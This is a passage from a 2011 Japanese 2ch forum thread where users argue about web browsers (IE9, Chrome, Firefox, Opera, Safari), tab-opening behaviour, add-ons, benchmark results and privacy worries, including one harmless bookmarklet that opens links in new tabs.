881 :名無しさん@お腹いっぱい。:2011/06/30(木) 15:44:48.70 ID:6+a8Yj3x0
今日IE9にしたけど・・・なんじゃこのレイアウト使いにくい

882 :名無しさん@お腹いっぱい。:2011/06/30(木) 15:45:49.97 ID:C8fU+bQH0
ブラウザの皮を被ったダウンローダーですね、わかります

orbitと連携させたchromeでええやん

883 :名無しさん@お腹いっぱい。:2011/06/30(木) 15:54:04.08 ID:1qllZIjC0
むしろChromeがいらないだろう

Ironでいいしw

884 :名無しさん@お腹いっぱい。:2011/06/30(木) 15:57:55.00 ID:JZk1wcji0
名称じゃなくて エンジンの名前にしようぜ
Gecko Webkit Trident

885 :名無しさん@お腹いっぱい。:2011/06/30(木) 17:45:18.13 ID:ZwUKhpH90
知る人ぞ知るTasman
完全滅亡した数少ないエンジン
Macユーザーの間では以外にも評価が高かったりする

886 :名無しさん@お腹いっぱい。:2011/06/30(木) 18:12:53.05 ID:W6KBxlDx0
Presto・・・

887 :名無しさん@お腹いっぱい。:2011/06/30(木) 18:46:04.82 ID:Y9Hznq220
オペラタソ早速クラッシュしたお
http://www.dotup.org/uploda/www.dotup.org1748821.png


888 :名無しさん@お腹いっぱい。:2011/06/30(木) 19:03:07.11 ID:ZwUKhpH90
UbuntuでもOperaが使いたくなるなんて敬虔だな

889 :名無しさん@お腹いっぱい。:2011/06/30(木) 19:27:26.19 ID:+77cgb/X0
>>836
OSX 10.5 でやってみた。
ttp://www.restspace.jp/gazo/img-box/img20110630192523.jpg

890 :名無しさん@お腹いっぱい。:2011/06/30(木) 20:16:50.93 ID:u3FlmF+D0
FF、chrome、operaってどれが一番ニコ動に適してる?

891 :名無しさん@お腹いっぱい。:2011/06/30(木) 20:16:56.40 ID:edDK+yt00
>>882
ちょこっとダウンロードする程度の人ならchrome用Irvine拡張作ってくれてるからIrvineを使ってた人は便利だよ

892 :名無しさん@お腹いっぱい。:2011/06/30(木) 22:30:29.93 ID:D2AX/DjO0
ポータブルじゃなくて本体ごとRAMディスクに入れられるのって
Firefoxとchromeだけなんですか?safariは無理でしょうか?

893 :名無しさん@お腹いっぱい。:2011/06/30(木) 22:37:44.03 ID:C8fU+bQH0
>>891
5年くらい前までは使ってたよ、Irvine
でもorbitで十分なんだよね、俺の用途だと

894 :名無しさん@お腹いっぱい。:2011/07/01(金) 01:38:09.47 ID:IezRF4Fx0
http://www.favbrowser.com/wp-content/uploads/2011/06/webbrowserwars.jpg

895 :名無しさん@お腹いっぱい。:2011/07/01(金) 09:17:37.79 ID:6afYOeb70
>>878
おれは逆になっちゃったなぁ
トランスウェアの頃から、ずっとOpera使ってたがFF3.5ぐらいからアドオンが便利なんでFF中心になって
いまOperaはエロサイト専用ブラウザになっちゃった。

Operaはサイト毎のJavaScript、ポップアップやクッキーの挙動を変えたりするのが簡単なのが
エロサイト巡回に非常に便利なんだよね。
ただDragonFlyがFireBugに比べると使いにくいのを何とかして欲しい。


896 :名無しさん@お腹いっぱい。:2011/07/01(金) 15:05:39.28 ID:afJwCdW30
>>889
Firefoxとsafari以外全部色管理上手くいかないとかw
chromeはmacだとカラープロファイルに対応するとかどっかで聞いたような覚えがあるけど無理か

なんか最近他のブラウザに乗り換えようかとなんとなく思ってるけど
FirefoxのTagsieveの使い勝手と同じようなものが他で実現できないのがネック
ブックマーク100個近くあるから、タグ管理できないと死ねる

897 :名無しさん@お腹いっぱい。:2011/07/01(金) 15:33:33.28 ID:9k5l3EGz0
拡張使えるブラウザが増えた今となっちゃ
たった一個〜数個のどうしても譲れない代替できないアドオンがFirefoxに残された強みだからな

898 :名無しさん@お腹いっぱい。:2011/07/01(金) 15:43:44.80 ID:IezRF4Fx0
まともに拡張できないブラウザはIEのみになったな


899 :名無しさん@お腹いっぱい。:2011/07/01(金) 15:46:36.48 ID:x+mmPfT+0
その「一個〜数個のどうしても譲れない代替できないアドオン」がユーザーごとに違うから
全体としては大きな強みになっているんじゃないか。

900 :名無しさん@お腹いっぱい。:2011/07/01(金) 15:55:13.63 ID:/FDYAnN60
Operaはブックマークの説明欄に文字列を入れておけば、後でブックマーク検索で絞り込んだりアドレスバーからジャンプできたりして良いよ
ちゃんとしたUIが無くて前時代的なのがアレだけど

901 :名無しさん@お腹いっぱい。:2011/07/01(金) 16:10:08.44 ID:5huj1ywi0
狐以外のブラウザだと余計な手間が増えるんだよ
とりあえずやりたい事がはっきりしてる時は適当なキーワード突っ込んで検索すれば何か出てくる
この利便性が強みかな
後、UIも弄りやすいし

902 :名無しさん@お腹いっぱい。:2011/07/01(金) 16:23:04.95 ID:kjUnX/aN0
firefoxだとブックマークやリンクが新しいタブで開く事ができるが他ではできない
それが大きな違い

903 :名無しさん@お腹いっぱい。:2011/07/01(金) 16:32:32.73 ID:PQ89BqTR0
>>902
それだけだと何が言いたいのかよくわからない

904 :名無しさん@お腹いっぱい。:2011/07/01(金) 16:51:53.56 ID:2SkdIGCkO
>>898
自分で作れない人は可哀想だな

905 :名無しさん@お腹いっぱい。:2011/07/01(金) 17:06:07.01 ID:afJwCdW30
>>900
Firefoxだとタグの追加削除が比較的楽だからちょっと代替としてはなあ
アドレスバーからブックマークボタンクリックしてブックマーク追加、もう一度クリックでタグ編集
タグの入力補完も効くし、結構理想的な使い勝手

デフォではタグ検索のちゃんとしたUIが用意されてないけど、
Tagsieve使うと、タグをクリックで絞り込んでいけるから結構楽 タグもタグクラウドで表示されるから見やすい

>>902
Operaだったら拡張なしでも出来る
設定>詳細設定>タブ>現在のタブを再使用する、のチェックボックスをはずす

個人的にはホイールクリックで新規タブに開けさえすれば満足

906 :名無しさん@お腹いっぱい。:2011/07/01(金) 17:11:10.98 ID:0mYpV1q00
たかだか100個程度のブックマークでタグ管理必要とかw

907 :名無しさん@お腹いっぱい。:2011/07/01(金) 17:52:54.95 ID:4sdGLzLe0
>>902
え、Safariでも出来るけど…
そんなこと出来ないブラウザなんてないんじゃないの?

908 :名無しさん@お腹いっぱい。:2011/07/01(金) 18:16:12.72 ID:5huj1ywi0
センターボタンクリックでないと新しいタブで開けないという妙な仕様のブラウザがありましてね
普通なら設定で、悪くても拡張ででも選べる様にするものだと思うけど

909 :名無しさん@お腹いっぱい。:2011/07/01(金) 19:16:44.91 ID:/FDYAnN60
>>905
あーそれは楽そうだ。Fxのアドオンが素晴らしいのはUIまで手を入れられる本物の「拡張」機能なとこだな

910 :名無しさん@お腹いっぱい。:2011/07/01(金) 21:31:45.63 ID:9k5l3EGz0
進む戻るをホイールクリックできないとイラッとする

911 :名無しさん@お腹いっぱい。:2011/07/02(土) 11:52:41.66 ID:8qiSmEZe0
>>908
センターでもないのに別タブ開くほうがよほど「妙な仕様」に思えるが…
左クリック=今のタブを破棄、中クリック=新タブで統一されてるほうが楽じゃね?

912 :名無しさん@お腹いっぱい。:2011/07/02(土) 12:13:52.43 ID:EA9l79so0
>>911
Targetタグがなくても別タブで開いちゃうってことだから逆に糞仕様だよ
908の言ってることはちょっとおかしい

913 :名無しさん@お腹いっぱい。:2011/07/02(土) 13:23:38.60 ID:jeCWP46L0
アホか
それをユーザーが弄れない様に固定してるのが問題って事だろうに
Google側の勝手な信念はどうでもいいんだ

914 :名無しさん@お腹いっぱい。:2011/07/02(土) 13:38:42.30 ID:nOaZAi1e0
リンクを新しいタブで開く
IE9 chome ctri+クリック
firefox アドオンの組み合わせで開く場所のルール含めてカスタマイズ可
Safari クリックで開けるみたい

chromeから言わせると片手操作でタブで開きたがる人はめんどくさがり屋らしい

915 :名無しさん@お腹いっぱい。:2011/07/02(土) 13:41:22.60 ID:XodvYWHZ0
>>913
君の勝手な信念もどうでもいいよ

916 :名無しさん@お腹いっぱい。:2011/07/02(土) 13:41:43.62 ID:3S/LHkXtP
嫌なら使うな!見るな!削除しろ!!!

917 :名無しさん@お腹いっぱい。:2011/07/02(土) 14:06:04.12 ID:kxDH3U7v0
>>915
は?
どっちでも選択できる様にしておけば、というのは信念なのか?

918 :名無しさん@お腹いっぱい。:2011/07/02(土) 14:11:04.11 ID:NpS8Qu3M0
嫌なら使うなよ

919 :名無しさん@お腹いっぱい。:2011/07/02(土) 14:34:26.05 ID:S/a7NeYf0
>>914
IE9だと、ブックマークにマウスオーバーしたときに右側に新規タブで開くボタンが表示されるけど
ってかセンタークリックで開けば片手で出来るだろw

むしろ逆にtargetタグをスルーさせるくらいは次世代ブラウザを名乗るなら標準で設定できるようにしたほうがいいとおもうけどな
html5ではなくなった属性だし、勝手にタブが開かれると不便な状況もあるし
まあjavascriptでも実装出来るから、初心者とかに混乱がおきやすい
かといってjavascriptで新規タブが開かれないようにすると問題が起きるって課題もあるけど

920 :名無しさん@お腹いっぱい。:2011/07/02(土) 15:00:43.61 ID:5qc5sYTW0
長文きめえ

921 :名無しさん@お腹いっぱい。:2011/07/02(土) 15:01:38.31 ID:3S/LHkXtP
わかる

922 :名無しさん@お腹いっぱい。:2011/07/02(土) 15:11:20.21 ID:8qiSmEZe0
>>914
いや片手でタブ開けるが…

923 :名無しさん@お腹いっぱい。:2011/07/02(土) 15:13:34.01 ID:S/a7NeYf0
>>920
ごめん今度からはもう少し短めの文にするは
まあ2chだと基本的に短い文が好まれる傾向にあるな、まあ長文コピペとかもあるにはあるけどネタ扱いというのが一般的だし
でも長文も書いてるほうも結構面倒だから、その気持ちも出来れば汲んでほしい
無駄に時間を消費して、キーボードを延々叩いてるわけだし

とりあえず今回は短めの文にまとめとく
文を短くまとめるってのも結構センスがいるし、文書くの下手な自分には難しい相談だ

924 :名無しさん@お腹いっぱい。:2011/07/02(土) 15:16:33.74 ID:8qiSmEZe0
ちなみに新タブ左クリ派の人は、今のタブ使って別ページに飛ぶのはどう割り当ててんの?

925 :名無しさん@お腹いっぱい。:2011/07/02(土) 15:22:43.08 ID:S/a7NeYf0
>>924
自分は使ったことないけど
ホイールクリックで現在のタブで開くって訳のわからない挙動のブラウザがあった気が

926 :名無しさん@お腹いっぱい。:2011/07/02(土) 15:23:16.14 ID:kxDH3U7v0
中クリックだな
使用頻度から言えば新タブ開く方が効率的な事ばかりだから

927 :名無しさん@お腹いっぱい。:2011/07/02(土) 15:35:04.13 ID:R0o/VXQg0
ズンドコベロンチョ

928 :名無しさん@お腹いっぱい。:2011/07/02(土) 16:05:18.34 ID:8qiSmEZe0
>>926
なるほど逆にするのね、分からんでもない
確かにサイトによっては中クリ>左クリになることもあるからな、GoogleとかWikipediaとか

929 :名無しさん@お腹いっぱい。:2011/07/02(土) 20:18:26.45 ID:O/Il6zsG0
全部新タブで開く、戻る進むなんか使わない

930 :名無しさん@お腹いっぱい。:2011/07/02(土) 23:08:33.83 ID:jtAx7lUZ0
>>923
三行以内に努力しろ

931 :名無しさん@お腹いっぱい。:2011/07/03(日) 08:10:57.19 ID:IlmSLwQE0
>>929
マジか
俺は同タブ、新タブ、新ウィンドウを全部手動でやりたいぞ

932 :名無しさん@お腹いっぱい。:2011/07/03(日) 10:56:09.69 ID:hEcdUqob0
とりあえず新タブでバッと開いてからだな
戻る進むは
そういう意味ではChromeの仕様は「標準的」なのかもしれないがただ使いにくく
そして、可能な限り検索からとばそうとしてるだけにしか見えない
非効率だ

933 :名無しさん@お腹いっぱい。:2011/07/03(日) 11:00:17.94 ID:XtFoSi7RP
そんな糞みたいな書き込みの方がよっぽど確実に非効率だけど

934 :名無しさん@お腹いっぱい。:2011/07/03(日) 11:04:41.72 ID:klWOfzy80
>>931
使い方にもよるけど新タブで開く場合がほとんどだと思う
タブの切り替えは右クリ+ホイールで
新ウィンドウは新タブ開いた後、ドラッグで切り離せばいいかなと

935 :名無しさん@お腹いっぱい。::2011/07/03(日) 11:07:51.16 ID:+KXc+Lao0
米グーグルのブラウザ「クローム」、世界シェア初の20%台に=調査
http://jp.reuters.com/article/technologyNews/idJPJAPAN-22011320110703

ウェブ分析会社のスタットカウンターが発表した6月のウェブブラウザー
(ネット閲覧ソフト)の世界市場シェアによると、米グーグル<GOOG.O>の
「クローム」が初めて20%を上回った。一方、米マイクロソフト<MSFT.O>
の「インターネット・エクスプローラー(IE)」が43%台と減少傾向が続
いている。


936 :名無しさん@お腹いっぱい。:2011/07/03(日) 11:21:02.92 ID:ZnY3/abD0
>>933
そういうバカみたいな一行レスしか出来ない奴がChrome使うんだよ(笑)
頭悪い奴専用のブラウザだろ、あれは

937 :名無しさん@お腹いっぱい。:2011/07/03(日) 11:31:56.52 ID:6XUaybpI0
マジレスするとブラウザ使う程度に頭の良い悪いもない

938 :名無しさん@お腹いっぱい。:2011/07/03(日) 11:37:29.17 ID:hEcdUqob0
筋違いだなぁ
無意味で煽るだけの一行レスは大抵Chrome信者だって話をしてるんだが

939 :名無しさん@お腹いっぱい。:2011/07/03(日) 11:39:18.61 ID:eoLKTEy30
金もらってネガキャンしてんじゃないかと思いたくなる
アンチセールスマンが常駐してるよな

940 :名無しさん@お腹いっぱい。:2011/07/03(日) 11:40:18.96 ID:hEcdUqob0
他のブラウザスレに迷惑をかけにいくにも殆どがChrome信者
このあたりは何度も目にしているから
逆にChromeのスレは他のブラウザ使ってる奴はまず立ち寄らない
バカしかいないって言いたくもなるわ

941 :名無しさん@お腹いっぱい。:2011/07/03(日) 11:41:21.26 ID:TCNmUorM0
933はブーメランしててアホだけど、別にブラウザは関係無いやろw

942 :名無しさん@お腹いっぱい。:2011/07/03(日) 11:44:24.31 ID:TCNmUorM0
でもChrome信者(というかGoogle信者?)は声がでかいバカな奴が多いのは当たってると思うw

943 :名無しさん@お腹いっぱい。:2011/07/03(日) 11:47:49.28 ID:iY0Cv7JS0
IEしかり大多数が利用するものに乗っかってるからシェア伸びるのはまぁあたりまえだよ
SafariはAppleだし、fxは昔馴染み的な物やUNIXベースがある

944 :名無しさん@お腹いっぱい。:2011/07/03(日) 11:49:54.88 ID:6XUaybpI0
>>938
ってか冷静に考えて、無意味な煽りの一行レスが
高い確率でchrome信者と考えるのには無理があるとおもうけど
無意味で煽るだけの一行レスなんて2chで多く見かけるし、どれだけシェアが高いの?

945 :名無しさん@お腹いっぱい。:2011/07/03(日) 11:53:48.64 ID:fbjg+15nP
俺はFirefox信者が他のブラウザスレを荒らしてるのをよく見る
それと、他のブラウザ使ってる奴が疑問に思ったことを書き込むと、凄い勢いで貶すのを何回も見た

946 :名無しさん@お腹いっぱい。:2011/07/03(日) 12:02:25.08 ID:hEcdUqob0
へーw

947 :名無しさん@お腹いっぱい。:2011/07/03(日) 12:13:28.60 ID:eoLKTEy30
>>945
昔のFirefox信者はそんな感じだったな。
アドオン漁ってるだけの奴が突然オープンソースについて語り出す。

最近はそういう胡散臭い連中が全部ChromeやIE9に流入してる感じだ。
本物のChrome厨にとっては迷惑な話だろうな。

948 :名無しさん@お腹いっぱい。:2011/07/03(日) 12:29:45.64 ID:fbjg+15nP
>>947

何であそこまで他のブラウザ使ってる奴を邪険にするのか理解に苦しむよ
男なのにみっともないにも程がある
使いやすいブラウザ使うことの何が気に入らないのかね
ブラウザなんて人それぞれ何使ってもいいと思うけどな

949 :名無しさん@お腹いっぱい。:2011/07/03(日) 12:30:45.85 ID:ZnY3/abD0
それはChrome厨にこそ言える事だなw

950 :名無しさん@お腹いっぱい。:2011/07/03(日) 13:15:51.52 ID:jXSVljP50
でもIE8以下はないわ

951 :名無しさん@お腹いっぱい。:2011/07/03(日) 13:32:50.19 ID:ZnY3/abD0
あれはWindows Updateと他のブラウザが蹴られる時に起動するものだ

952 :名無しさん@お腹いっぱい。:2011/07/03(日) 13:45:03.75 ID:IlmSLwQE0
左クリ新タブの設定って、ページ内へのリンクとかって新タブで開くの?

953 :名無しさん@お腹いっぱい。:2011/07/03(日) 14:32:04.56 ID:klWOfzy80
>>952
そこが悩みの種、同タブで開いちゃう
そんときだけ仕方なく戻るボタン押すか、中クリックで新タブ開く
設定でどうにかできんのかな

954 :名無しさん@お腹いっぱい。:2011/07/03(日) 14:33:42.09 ID:iY0Cv7JS0
拡張使えるブラウザならどうとでもなりそうなもんだが

955 :名無しさん@お腹いっぱい。:2011/07/03(日) 15:38:16.96 ID:IlmSLwQE0
>>953
ああそうなのか、それが同タブなら安心だ…って悩むのかい!?

956 :名無しさん@お腹いっぱい。:2011/07/03(日) 15:43:10.57 ID:cpcWG6QJ0
リンクすべてに target="_blank" を付けるユーザースクリプトとかあるんじゃないの。

957 :名無しさん@お腹いっぱい。:2011/07/03(日) 16:15:46.57 ID:jXSVljP50
中クリックすればでいいじゃん

958 :名無しさん@お腹いっぱい。:2011/07/03(日) 16:40:21.30 ID:bhIVVDh80
>>956
自分は以下の自作(というほどでもないけど)のブックマークレットを使ってる。
常に新規タブで開く常用サイトにはユーザースクリプトとして起動してる。

javascript:(function(){ for( var i = 0; document.links[i]; i++ ) { document.links[i].target = '_blank'; }})();

959 :名無しさん@お腹いっぱい。:2011/07/03(日) 17:39:44.02 ID:f6zovQGG0
>>936,949 どの板にも連呼厨っているんだなワロタw

960 :名無しさん@お腹いっぱい。:2011/07/04(月) 00:53:17.38 ID:LHyn2qwR0
クロムで個人情報抜かれているのに今気がついた・・。
youtubeで出てくる広告が、俺のネット閲覧履歴に連動してる。

パスワードも抜かれてるかも、と思うとちょっと怖い。
無いとは思うけど・・。

海外で、やたら反クロム派が多いのは知ってたけど、こういうことだったのか。。

961 :名無しさん@お腹いっぱい。:2011/07/04(月) 01:00:10.57 ID:F+U5sLQG0
興味ない広告が出てくるより良くね?
俺はむしろamazonみたいに商品をおすすめしてほしいわ
どうせ個人情報ウソだらけで登録してるし

962 :名無しさん@お腹いっぱい。:2011/07/04(月) 01:40:14.20 ID:LHyn2qwR0
>>961
これから、クラウドが進んで、
ネット上に情報持つようになってくると、色々困るわ。

既に一部企業はクラウドを積極的に利用し始めているし。

俺、中規模の会社のシス管だけど、chromeが情報抜いているの、知らなかった・・。
APPS移行で、社内にchrome推奨してる最中なだけに、ちょっと頭痛いなぁ。

963 :名無しさん@お腹いっぱい。:2011/07/04(月) 01:43:29.70 ID:F+U5sLQG0
ITの流行りなんて振り子みたいなもんだから、また戻ってきそうだけどな

>>926
ttp://ja.wikipedia.org/wiki/SRWare_Iron
これにすればいいじゃn
ほとんど一緒

964 :名無しさん@お腹いっぱい。:2011/07/04(月) 01:46:03.59 ID:F+U5sLQG0
もしかしてAPPSってGoogle Appsかよ
情報抜かれるの怖かったらGoogle依存というかクラウド止めたほうがいいのに

965 :名無しさん@お腹いっぱい。:2011/07/04(月) 02:04:31.40 ID:8copWNt+O
情報を抜かれるのが嫌だからIE9を使っている。

966 :名無しさん@お腹いっぱい。:2011/07/04(月) 02:21:03.16 ID:V1uenzjK0
なんだかんだでIEもFxもChromeもOperaも使ってる。

967 :名無しさん@お腹いっぱい。:2011/07/04(月) 05:15:00.57 ID:5f/ikb6kP
情報を抜かれて実害があった件数は未だに0件

968 :名無しさん@お腹いっぱい。:2011/07/04(月) 09:47:58.54 ID:rpnSFEoO0
Youtubeなんかでもytimg.comがウザイと言うのに…
Firefox以外はjscriptの制御できないから嫌どす
(参考までに、あるなら教えてください)
情強の彼らの歴史 Sleipnir→Firefox→Chrome

969 :名無しさん@お腹いっぱい。:2011/07/04(月) 10:15:48.57 ID:8copWNt+O
>>968
俺はIE9で、追跡防止とcssでブロックしてる。
インビデオ広告は現状ではIE単体でブロックできないので、avastのサイトブロックを使ってる。
追跡防止のルールを自分で作るなり、hostsに登録するなりでできるのかもしれない。
とりあえず今は、IE9でYouTubeの広告すべてと言語設定、アカウント作成を非表示にしている。

970 :名無しさん@お腹いっぱい。:2011/07/04(月) 12:01:36.47 ID:b0lLprKt0
>>968
IE8/IE9もFx5も(ちょろめwの代わりにSafari5も)入れてるけど
Operaが一番楽だと思うよ
サイトごとの設定もできるしクイック設定で一発で切れる
拡張まで含むとFxに軍配が上がるだろうけどね

971 :名無しさん@お腹いっぱい。:2011/07/04(月) 17:31:42.46 ID:KDzmdxNj0
YouTubeの広告ってChromeに限らない気がするんだが。ウェブ履歴使ってる?

972 :名無しさん@お腹いっぱい。:2011/07/04(月) 17:32:18.99 ID:nIegUxNf0
http://www.dotup.org/uploda/www.dotup.org1758929.jpg

973 :名無しさん@お腹いっぱい。:2011/07/05(火) 00:33:00.17 ID:CqXPKzcEP
吹いたwwwwwwwwwww

974 :名無しさん@お腹いっぱい。:2011/07/05(火) 01:06:45.37 ID:lBB9+dtt0
Operaと死ぬまで付き合います

975 : 忍法帖【Lv=28,xxxPT】 :2011/07/05(火) 01:16:49.59 ID:rax3hX+X0
>>972
メジャーブラウザが不当に評価低くてマイナーブラウザの評価が高過ぎる気が・・。
まぁ俺もOperaは好きですけども。

976 :名無しさん@お腹いっぱい。:2011/07/05(火) 02:19:38.99 ID:S0c4gXok0
http://1st.geocities.jp/ossai_maomaotaishi/real.jpg

この画像に通じるものがある
主にセンスの部分で

977 :名無しさん@お腹いっぱい。:2011/07/05(火) 09:44:46.94 ID:mXBPSYQO0
ttp://gigazine.net/news/20070927_browser_car/
ttp://yebo-blog.blogspot.com/2009/03/blog-post_08.html
とかも含めて既出じゃん…(ぷにる入りは初めて見たが)


978 :名無しさん@お腹いっぱい。:2011/07/05(火) 11:57:21.39 ID:FjCJUqwh0
##########################################

Peacekeeper (Futuremark) 2009年5月 JavaScript performance benchmark
SunSpider (WebKit) 2010年4月 core JavaScript language only, not the DOM or other browser APIs
Kraken (Mozilla) 2010年9月 JavaScript Benchmark
Asteroids (kevs3d) 2010年9月 HTML5 Canvas 2D Rendering and JavaScript Benchmark
V8 Benchmark (Google) 2010年10月a suite of pure JavaScript benchmarks
Modified SunSpider (Google) 2011年5月 core JavaScript language only, not the DOM or other browser APIs
Modified Kraken (Google) 2011年5月 JavaScript Benchmark
enchant.js (4gamer) 2011年5月 HTML5/JavaScript Based Game Engine

###########################################

各ブラウザを上記 8種類 のベンチマークソフトで計測してみた。
結果、Opera の大勝利でした。
本当にありがとうございました。


979 :名無しさん@お腹いっぱい。:2011/07/05(火) 13:31:11.07 ID:XsUFJAZ60
もう、こういうイメージが定着しちゃってるから、何しても無理な気がする
http://livedoor.blogimg.jp/deal_with0603/imgs/8/8/882cb129.jpg?107c4f70

980 :名無しさん@お腹いっぱい。:2011/07/05(火) 13:42:58.96 ID:mXBPSYQO0
1万項目を超える最新JavaScriptテストツール登場 - 主要ブラウザの結果は?
http://journal.mycom.co.jp/news/2011/07/05/011/

IE10PP2  失敗7 99.93%
Fx7Nightly 失敗203 98.14%
Fx6Aurora 失敗226 97.93%
Fx5     失敗274 97.49%
IE9     失敗301 97.24%
Chrome12 失敗509 95.34%
Opera11.50 失敗3875 64.56%
ttp://j.mycom.jp/news/2011/07/05/011/images/002l.jpg

Chrome14Canary 2789個目のテストで停止。
Chrome13Beta テスト途中でクラッシュ。
Safari5 5017個目のテストで停止。
IE8 39個目のテストで停止。
IE7 39個目のテストで停止。
IE6 テストページを表示させることができない。

981 :名無しさん@お腹いっぱい。:2011/07/05(火) 13:44:25.77 ID:HE3kaWXXO
俺みたいな情強様はセキュリティリスクがいちばん少ないIEを使う。

982 :名無しさん@お腹いっぱい。:2011/07/05(火) 13:58:09.39 ID:kdfHoifi0
( ´,_ゝ`)プッ↑

983 :名無しさん@お腹いっぱい。:2011/07/05(火) 16:26:28.76 ID:laKiMTP90
>>979
Chrome信者がギラギラとした目でつくった画像だと思うと笑えるw

984 :名無しさん@お腹いっぱい。:2011/07/05(火) 16:29:42.47 ID:qKmjDdbX0
>>979
つうか、IEが一番の勝ち組じゃまいか
家族と一緒の幸せ……欲しいなぁ

985 :名無しさん@お腹いっぱい。:2011/07/05(火) 16:35:47.22 ID:B3Pkym4S0
IEは妥当だと思うぞ
だって、本当にそれしか使おうとしないからな
おばさんとかは特に

986 :名無しさん@お腹いっぱい。:2011/07/05(火) 17:12:09.70 ID:dV2GrFaX0
>>979
FireFoxてマジあんなやつばかり使ってんだろ

987 :名無しさん@お腹いっぱい。:2011/07/05(火) 17:49:04.52 ID:hWO1TTen0
そうかそうか

988 :名無しさん@お腹いっぱい。:2011/07/05(火) 20:56:33.90 ID:509a4XzQ0
ブラウザシェア予測でChromeが2012年12月にIEを抜いてシェアトップに?!
ttp://www.chrome-life.com/chrome/845/

Chromeの勝利はもう決定事項www収束されるねwww
認めたくないなら違う世界線へ行けwww

989 :名無しさん@お腹いっぱい。:2011/07/05(火) 20:57:18.94 ID:v32oXqhl0
Operaは世界線の観測者

990 :名無しさん@お腹いっぱい。:2011/07/05(火) 20:57:47.26 ID:k2Mme2Cx0
>>987
オマエ頭ばーんしちゃうよ

991 :名無しさん@お腹いっぱい。:2011/07/05(火) 20:59:45.70 ID:96yEyr/30
>>988
googleにお金もらえるのかね、この記事書いてる人

992 :名無しさん@お腹いっぱい。:2011/07/05(火) 21:19:51.98 ID:iskMzDa3P
chrome-life.com()
ワンクリサイトですか?

993 :名無しさん@お腹いっぱい。:2011/07/05(火) 22:50:59.56 ID:laKiMTP90
要するにGoogleべったりってだけじゃないの、そこは

こういう奴がここで暴れてるんだろw

994 :名無しさん@お腹いっぱい。:2011/07/06(水) 02:59:15.72 ID:dZE69Dpu0
>>988
この人嘘書いてたからね
信用できない

995 :名無しさん@お腹いっぱい。:2011/07/06(水) 03:00:07.57 ID:dZE69Dpu0
間違えた>>980

996 :名無しさん@お腹いっぱい。:2011/07/06(水) 14:44:09.84 ID:28z5IW0G0
個人ブログなんてハナから信用してませんし

997 :名無しさん@お腹いっぱい。:2011/07/06(水) 15:14:39.91 ID:PxXKo/HO0
>>979
なんでアドレスの末尾を拡張子にしないんだよ…

998 :名無しさん@お腹いっぱい。:2011/07/06(水) 15:24:20.38 ID:ET9Ieraq0
http://livedoor.2.blogimg.jp/deal_with0603/imgs/8/8/882cb129.jpg

999 :名無しさん@お腹いっぱい。:2011/07/06(水) 15:33:08.81 ID:XjtJRz2x0
>>998
この人は、データを客観的に見た結果を言ったまでろ
何でIEユーザって、データをねじ曲げようとするのかなー
事実を受け止めろよ

1000 :名無しさん@お腹いっぱい。:2011/07/06(水) 15:37:12.85 ID:28z5IW0G0
どう考えても主観です、ありがとうございました。

1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

252 KB
★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.04.00 2017/10/04 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)